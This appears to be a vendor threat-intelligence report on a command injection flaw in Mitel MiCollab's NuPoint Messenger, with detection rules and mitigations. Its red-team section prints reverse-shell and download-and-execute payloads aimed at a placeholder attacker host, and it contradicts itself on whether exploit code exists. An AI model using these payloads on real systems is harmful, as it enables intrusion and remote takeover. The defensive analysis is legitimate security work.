CVE-2024-35285
Executive Summary
CVE-2024-35285 is a critical command injection vulnerability in Mitel MiCollab’s NuPoint Messenger (NPM) component, affecting versions up to and including 9.8.0.33. An unauthenticated attacker can exploit insufficient parameter sanitization to inject arbitrary operating system commands, leading to full system compromise. The vulnerability is currently unpatched, with no public proof-of-concept or exploit code available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the severity remains high due to the potential for remote code execution without authentication.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary Mitel product (MiCollab) and its NuPoint Messenger component. No supply chain implications are identified.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the description, the vulnerability would likely score high (8.0-10.0) due to:
- Attack Vector (AV): Network (unauthenticated remote exploitation)
- Attack Complexity (AC): Low (no special conditions)
- Privileges Required (PR): None
- User Interaction (UI): None
- Scope (S): Unchanged
- Confidentiality (C): High (full system access)
- Integrity (I): High (command execution)
- Availability (A): High (potential for denial of service)
Threat Level: Critical – unauthenticated remote code execution in a widely deployed unified communications platform.
Deep Dive & Mechanics
The vulnerability resides in the NuPoint Messenger (NPM) component of Mitel MiCollab. NPM is a voicemail and unified messaging system that processes user input for various features. The flaw is due to insufficient sanitization of parameters passed to system commands or shell functions. An attacker can craft a malicious request to the NPM service, injecting shell metacharacters (e.g., ;, |, &, $()) into an input field that is later executed by the underlying operating system.
Attack Vector: The attacker sends a specially crafted HTTP request to the NPM service (typically on TCP ports 80, 443, or 5060 for SIP). The request contains a parameter that is not properly sanitized, allowing command injection.
Impact: Successful exploitation allows the attacker to execute arbitrary commands with the privileges of the NPM service (often root or a high-privilege user). This can lead to full system compromise, data exfiltration, lateral movement within the network, and installation of backdoors.
Root Cause: The application uses functions like system(), exec(), or popen() in C/C++ or similar shell execution functions in other languages without proper input validation or escaping.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the vulnerable code pattern.
Vulnerable Code (Hypothetical C++ example):
void handleMessage(const std::string& userInput) {
std::string command = "sendmail -t " + userInput;
system(command.c_str());
}
Patched Code (Hypothetical):
void handleMessage(const std::string& userInput) {
// Use a safe API that does not invoke a shell
std::string sanitizedInput = sanitize(userInput);
// Use execve with explicit arguments
char* args[] = {"/usr/sbin/sendmail", "-t", sanitizedInput.c_str(), NULL};
execve(args[0], args, NULL);
}
The patch would involve:
- Avoiding shell invocation entirely.
- Using parameterized APIs or execve with separate arguments.
- Implementing strict input validation (allowlisting characters, rejecting metacharacters).
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Mitel MiCollab instance (version <= 9.8.0.33) with NPM enabled.
- Network access to the NPM service (typically port 80/443 or SIP ports).
Exploitation Steps:
- Reconnaissance: Identify the target MiCollab server and confirm NPM is running.
- Craft Payload: Inject command injection payloads into parameters such as
user,message, oraction. Example:POST /npm/endpoint HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded user=admin&message=test;id - Execute: Send the request. If successful, the
idcommand output will be returned in the response or logged. - Escalate: Use the initial foothold to execute more complex commands (e.g., reverse shell).
Example Payloads:
; nc -e /bin/sh attacker.com 4444| bash -i >& /dev/tcp/attacker.com/4444 0>&1$(wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh)
Note: No public exploit code is available; this is a hypothetical exploitation scenario.
Blue Team (Defensive)
Detection:
- Monitor for unusual HTTP requests to NPM endpoints containing shell metacharacters (
;,|,&,$,`). - Look for outbound connections from the MiCollab server to unknown IPs on unusual ports (e.g., 4444, 8080).
- Analyze system logs for unexpected command execution (e.g.,
id,whoami,wget).
Hunting:
- Search for processes spawned by the NPM service that are not typical (e.g.,
bash,nc,python). - Review web server logs for requests with encoded or suspicious parameters.
Containment:
- Isolate the affected server from the network.
- Block outbound traffic from the NPM service to the internet.
- Apply virtual patching via WAF rules (see Detection Engineering).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/npm/endpoints containing shell metacharacters. - Outbound connections from MiCollab server to external IPs on ports 4444, 8080, 53 (DNS tunneling).
- Unusual SIP messages with command injection payloads.
Host IOCs:
- Unexpected processes:
bash,sh,nc,python,perlspawned by the NPM process. - Files in
/tmp/or/var/tmp/with suspicious names (e.g.,shell.sh,exploit). - Modified system binaries or cron jobs.
- New user accounts or SSH keys.
Log IOCs:
- System log entries showing execution of commands like
id,whoami,uname -a. - Web server logs with parameters containing
;,|,&,$().
Detection Engineering
YARA Rule
rule CVE_2024_35285_CommandInjection {
meta:
description = "Detects command injection attempts targeting Mitel MiCollab NPM"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-35285"
strings:
$cmd1 = /[;&|`$()]/
$cmd2 = /(bash|sh|nc|python|perl|wget|curl)/
$npm_path = "/npm/"
condition:
$npm_path and (#cmd1 > 2) and (#cmd2 > 0)
}
Sigma Rule
title: CVE-2024-35285 - Mitel MiCollab NPM Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts against Mitel MiCollab NuPoint Messenger
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- ";"
- "|"
- "&"
- "$("
- "`"
cs-uri-stem|contains: "/npm/"
condition: selection
falsepositives:
- Legitimate use of special characters in messages (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-35285 - Mitel MiCollab NPM Command Injection Attempt"; flow:to_server,established; content:"/npm/"; http_uri; pcre:"/[;&|`$()]/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected systems from untrusted networks (e.g., internet-facing interfaces).
- Apply virtual patching using WAF rules to block requests containing shell metacharacters in NPM endpoints.
- Monitor for exploitation attempts using the provided detection rules.
Long-term Fix:
- Mitel must release a security patch that properly sanitizes input parameters in NPM. Until then, consider disabling NPM if not essential.
- Implement network segmentation to limit access to MiCollab servers.
- Use application-level firewalls to inspect and sanitize input.
Workaround:
- If NPM is required, restrict access to trusted IPs only via firewall rules.
- Disable any unnecessary features in NPM that accept user input.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.